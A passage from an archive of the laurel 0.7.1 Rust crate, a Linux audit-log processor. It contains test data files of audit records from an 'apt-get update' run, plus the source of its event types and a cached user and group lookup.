key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.142:299900): argc=1 a0="/usr/lib/apt/methods/https" type=CWD msg=audit(1654180383.142:299900): cwd="/" type=PATH msg=audit(1654180383.142:299900): item=0 name="/usr/lib/apt/methods/https" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.142:299900): item=1 name="/usr/lib/apt/methods/https" inode=420970 dev=fd:01 mode=0120777 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.142:299900): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.142:299900): laurel-0.7.1/src/testdata/tree/05.txt000064400000000000000000000025321046102023000154430ustar 00000000000000type=SYSCALL msg=audit(1654180383.150:299901): arch=c000003e syscall=59 success=yes exit=0 a0=564c986772f0 a1=7ffc8fdcc240 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722681 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="https" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.150:299901): argc=1 a0="/usr/lib/apt/methods/https" type=CWD msg=audit(1654180383.150:299901): cwd="/" type=PATH msg=audit(1654180383.150:299901): item=0 name="/usr/lib/apt/methods/https" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.150:299901): item=1 name="/usr/lib/apt/methods/https" inode=420970 dev=fd:01 mode=0120777 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.150:299901): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.150:299901): laurel-0.7.1/src/testdata/tree/06.txt000064400000000000000000000025261046102023000154470ustar 00000000000000type=SYSCALL msg=audit(1654180383.158:299902): arch=c000003e syscall=59 success=yes exit=0 a0=564c986772f0 a1=7ffc8fdcc240 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722682 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="http" exe="/usr/lib/apt/methods/http" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.158:299902): argc=1 a0="/usr/lib/apt/methods/http" type=CWD msg=audit(1654180383.158:299902): cwd="/" type=PATH msg=audit(1654180383.158:299902): item=0 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.158:299902): item=1 name="/usr/lib/apt/methods/http" inode=394273 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.158:299902): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.158:299902): laurel-0.7.1/src/testdata/tree/07.txt000064400000000000000000000025261046102023000154500ustar 00000000000000type=SYSCALL msg=audit(1654180383.270:299914): arch=c000003e syscall=59 success=yes exit=0 a0=564c986201b0 a1=7ffc8fdcbb30 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722689 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="gpgv" exe="/usr/lib/apt/methods/gpgv" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.270:299914): argc=1 a0="/usr/lib/apt/methods/gpgv" type=CWD msg=audit(1654180383.270:299914): cwd="/" type=PATH msg=audit(1654180383.270:299914): item=0 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.270:299914): item=1 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.270:299914): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.270:299914): laurel-0.7.1/src/testdata/tree/08.txt000064400000000000000000000025261046102023000154510ustar 00000000000000type=SYSCALL msg=audit(1654180383.278:299915): arch=c000003e syscall=59 success=yes exit=0 a0=564c986201b0 a1=7ffc8fdcbd40 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=722691 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="gpgv" exe="/usr/lib/apt/methods/gpgv" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180383.278:299915): argc=1 a0="/usr/lib/apt/methods/gpgv" type=CWD msg=audit(1654180383.278:299915): cwd="/" type=PATH msg=audit(1654180383.278:299915): item=0 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.278:299915): item=1 name="/usr/lib/apt/methods/gpgv" inode=394272 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180383.278:299915): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180383.278:299915): laurel-0.7.1/src/testdata/tree/09.txt000064400000000000000000000025261046102023000154520ustar 00000000000000type=SYSCALL msg=audit(1654180385.230:300272): arch=c000003e syscall=59 success=yes exit=0 a0=564c9884c3c0 a1=7ffc8fdcb810 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723173 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.230:300272): argc=1 a0="/usr/lib/apt/methods/rred" type=CWD msg=audit(1654180385.230:300272): cwd="/" type=PATH msg=audit(1654180385.230:300272): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.230:300272): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.230:300272): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.230:300272): laurel-0.7.1/src/testdata/tree/10.txt000064400000000000000000000025261046102023000154420ustar 00000000000000type=SYSCALL msg=audit(1654180385.238:300274): arch=c000003e syscall=59 success=yes exit=0 a0=564c9884c3c0 a1=7ffc8fdcba20 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723175 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.238:300274): argc=1 a0="/usr/lib/apt/methods/rred" type=CWD msg=audit(1654180385.238:300274): cwd="/" type=PATH msg=audit(1654180385.238:300274): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.238:300274): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.238:300274): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.238:300274): laurel-0.7.1/src/testdata/tree/11.txt000064400000000000000000000025261046102023000154430ustar 00000000000000type=SYSCALL msg=audit(1654180385.490:300299): arch=c000003e syscall=59 success=yes exit=0 a0=564c98851150 a1=7ffc8fdcba20 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723188 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.490:300299): argc=1 a0="/usr/lib/apt/methods/rred" type=CWD msg=audit(1654180385.490:300299): cwd="/" type=PATH msg=audit(1654180385.490:300299): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.490:300299): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.490:300299): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.490:300299): laurel-0.7.1/src/testdata/tree/12.txt000064400000000000000000000025261046102023000154440ustar 00000000000000type=SYSCALL msg=audit(1654180385.530:300304): arch=c000003e syscall=59 success=yes exit=0 a0=564c98850730 a1=7ffc8fdcba20 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723190 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="rred" exe="/usr/lib/apt/methods/rred" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.530:300304): argc=1 a0="/usr/lib/apt/methods/rred" type=CWD msg=audit(1654180385.530:300304): cwd="/" type=PATH msg=audit(1654180385.530:300304): item=0 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.530:300304): item=1 name="/usr/lib/apt/methods/rred" inode=394275 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.530:300304): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.530:300304): laurel-0.7.1/src/testdata/tree/13.txt000064400000000000000000000025331046102023000154430ustar 00000000000000type=SYSCALL msg=audit(1654180385.638:300341): arch=c000003e syscall=59 success=yes exit=0 a0=564c98851150 a1=7ffc8fdcb770 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723197 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="store" exe="/usr/lib/apt/methods/store" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.638:300341): argc=1 a0="/usr/lib/apt/methods/store" type=CWD msg=audit(1654180385.638:300341): cwd="/" type=PATH msg=audit(1654180385.638:300341): item=0 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.638:300341): item=1 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.638:300341): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.638:300341): laurel-0.7.1/src/testdata/tree/14.txt000064400000000000000000000025331046102023000154440ustar 00000000000000type=SYSCALL msg=audit(1654180385.646:300342): arch=c000003e syscall=59 success=yes exit=0 a0=564c98851150 a1=7ffc8fdcb980 a2=7ffc8fdcce50 a3=7f067bd80ac0 items=3 ppid=722676 pid=723198 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="store" exe="/usr/lib/apt/methods/store" subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180385.646:300342): argc=1 a0="/usr/lib/apt/methods/store" type=CWD msg=audit(1654180385.646:300342): cwd="/" type=PATH msg=audit(1654180385.646:300342): item=0 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.646:300342): item=1 name="/usr/lib/apt/methods/store" inode=394277 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180385.646:300342): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180385.646:300342): laurel-0.7.1/src/testdata/tree/15.txt000064400000000000000000000025151046102023000154450ustar 00000000000000type=SYSCALL msg=audit(1654180386.754:300393): arch=c000003e syscall=59 success=yes exit=0 a0=564c986288f0 a1=564c98678580 a2=7ffc8fdcce50 a3=7f067c15cc19 items=3 ppid=722676 pid=723219 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="dpkg" exe="/usr/bin/dpkg" subj==unconfined key="pkg_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180386.754:300393): argc=2 a0="/usr/bin/dpkg" a1="--print-foreign-architectures" type=CWD msg=audit(1654180386.754:300393): cwd="/" type=PATH msg=audit(1654180386.754:300393): item=0 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180386.754:300393): item=1 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180386.754:300393): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180386.754:300393): laurel-0.7.1/src/testdata/tree/16.txt000064400000000000000000000025151046102023000154460ustar 00000000000000type=SYSCALL msg=audit(1654180387.662:300395): arch=c000003e syscall=59 success=yes exit=0 a0=564c9878e5f0 a1=564c98919220 a2=7ffc8fdcce50 a3=7f067c15cc19 items=3 ppid=722676 pid=723222 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts14 ses=3 comm="dpkg" exe="/usr/bin/dpkg" subj==unconfined key="pkg_mgmt"ARCH=x86_64 SYSCALL=execve AUID="user" UID="root" GID="root" EUID="root" SUID="root" FSUID="root" EGID="root" SGID="root" FSGID="root" type=EXECVE msg=audit(1654180387.662:300395): argc=2 a0="/usr/bin/dpkg" a1="--print-foreign-architectures" type=CWD msg=audit(1654180387.662:300395): cwd="/" type=PATH msg=audit(1654180387.662:300395): item=0 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180387.662:300395): item=1 name="/usr/bin/dpkg" inode=394866 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=PATH msg=audit(1654180387.662:300395): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=398319 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID="root" OGID="root" type=EOE msg=audit(1654180387.662:300395): laurel-0.7.1/src/testdata/tree/README.txt000064400000000000000000000002341046102023000161510ustar 00000000000000This series of files represents audit logs from a single "apt-get update" run. apt-get has been tagged by the Audit subsystem with the "software_mgmt" key. laurel-0.7.1/src/types.rs000064400000000000000000000034761046102023000134300ustar 00000000000000use std::fmt::Debug; use indexmap::IndexMap; use serde::{Deserialize, Serialize, Serializer}; use linux_audit_parser::*; use crate::proc::ProcessKey; /// Collect records in [`EventBody`] context as single or multiple /// instances. /// /// Examples for single instances are `SYSCALL`,`EXECVE` (even if the /// latter can be split across multiple lines). An example for /// multiple instances is `PATH`. /// /// "Multi" records are serialized as list-of-maps (`[ { "key": /// "value", … }, { "key": "value", … } … ]`) #[derive(Debug, Clone, Serialize, Deserialize)] #[serde(untagged)] pub enum EventValues<'a> { // e.g SYSCALL, EXECVE Single(Body<'a>), // e.g. PATH Multi(Vec>), } fn serialize_node(value: &Option>, s: S) -> Result { serde_bytes::Bytes::new(value.as_ref().unwrap()).serialize(s) } #[derive(Clone, Debug, Serialize, Deserialize)] #[serde(rename_all = "UPPERCASE")] pub struct Event<'a> { pub id: EventID, #[serde( skip_serializing_if = "Option::is_none", serialize_with = "serialize_node" )] pub node: Option>, #[serde(flatten)] pub body: IndexMap>, #[serde(skip_serializing_if = "Option::is_none")] pub container_info: Option>, #[serde(skip)] pub is_filtered: bool, #[serde(skip)] pub(crate) is_exec: bool, #[serde(skip)] pub(crate) process_key: Option, } impl Event<'_> { pub fn new(node: Option>, id: EventID) -> Self { Event { node, id, body: IndexMap::with_capacity(5), container_info: None, is_filtered: false, is_exec: false, process_key: None, } } } pub(crate) type NVec = tinyvec::TinyVec<[u8; 14]>; laurel-0.7.1/src/userdb.rs000064400000000000000000000106721046102023000135440ustar 00000000000000use std::collections::BTreeMap; use std::ffi::CString; use std::time::{Duration, SystemTime, UNIX_EPOCH}; use serde::{Deserialize, Deserializer, Serialize, Serializer}; use tinyvec::TinyVec; use nix::unistd::{getgrouplist, Gid, Group, Uid, User}; #[derive(Clone, Debug, Serialize, Deserialize)] struct UserEntry { name: String, primary_gid: u32, secondary_gids: TinyVec<[u32; 8]>, } fn get_user(uid: u32) -> Option { User::from_uid(Uid::from(uid)).ok()?.map(|user| { let name = CString::new(user.name.as_bytes()).unwrap(); let gids = getgrouplist(&name, user.gid) .unwrap_or_else(|_| vec![]) .into_iter() .filter(|gid| *gid != user.gid) .map(u32::from) .collect(); UserEntry { name: user.name, primary_gid: user.gid.into(), secondary_gids: gids, } }) } fn get_group(gid: u32) -> Option { Group::from_gid(Gid::from(gid)) .ok()? .map(|group| group.name) } /// A wrapper aruond Systemtime that serializes to / deserializes from /// Epoch-based second counts #[derive(Clone, Debug)] struct EpochTime(SystemTime); impl EpochTime { fn now() -> Self { EpochTime(SystemTime::now()) } } impl std::ops::Deref for EpochTime { type Target = SystemTime; fn deref(&self) -> &Self::Target { &self.0 } } impl Serialize for EpochTime { fn serialize(&self, s: S) -> Result { s.serialize_u64( self.duration_since(UNIX_EPOCH) .unwrap_or(Duration::ZERO) .as_secs(), ) } } impl<'de> Deserialize<'de> for EpochTime { fn deserialize>(d: D) -> Result { Ok(EpochTime( UNIX_EPOCH + Duration::from_secs(u64::deserialize(d)?), )) } } /// Implementation of a credentials store that caches user and group /// lookups by uid and gid, respectively. #[derive(Debug, Default, Clone, Serialize, Deserialize)] pub(crate) struct UserDB { users: BTreeMap, EpochTime)>, groups: BTreeMap, EpochTime)>, } impl UserDB { pub fn populate(&mut self) { for id in 0..1000 { if let Some(user) = get_user(id) { self.users.insert(id, (Some(user), EpochTime::now())); } if let Some(group) = get_group(id) { self.groups.insert(id, (Some(group), EpochTime::now())); } } } fn get_user_entry(&mut self, uid: u32) -> Option { match self.users.get(&uid) { Some((entry, t)) if t.elapsed().unwrap_or(Duration::MAX).as_secs() <= 1800 => { entry.clone() } _ => { let entry = get_user(uid); self.users.insert(uid, (entry.clone(), EpochTime::now())); entry } } } pub fn get_user(&mut self, uid: u32) -> Option { self.get_user_entry(uid).map(|user| user.name) } pub fn get_user_groups(&mut self, uid: u32) -> Option> { let user = self.get_user_entry(uid)?; let names = Some(user.primary_gid) .into_iter() .chain(user.secondary_gids) .map(|gid| self.get_group(gid).unwrap_or(format!("#{gid}"))) .collect(); Some(names) } pub fn get_group(&mut self, gid: u32) -> Option { match self.groups.get(&gid) { Some((entry, t)) if t.elapsed().unwrap_or(Duration::MAX).as_secs() <= 1800 => { entry.clone() } _ => { let group = get_group(gid); self.groups.insert(gid, (group.clone(), EpochTime::now())); group } } } } #[cfg(test)] mod test { use super::*; #[test] /// This is not a real test case, it is just intended for /// diagnostic purposes. fn userdb() { let mut userdb = UserDB::default(); // Just output info for current user let uid = nix::unistd::Uid::current(); let gid = nix::unistd::Gid::current(); println!("user for uid {uid}: {:?}", userdb.get_user(uid.into())); println!("group for gid {gid}: {:?}", userdb.get_group(gid.into())); println!( "groups for uid {uid}: {:?}", userdb.get_user_groups(uid.into()) ); } }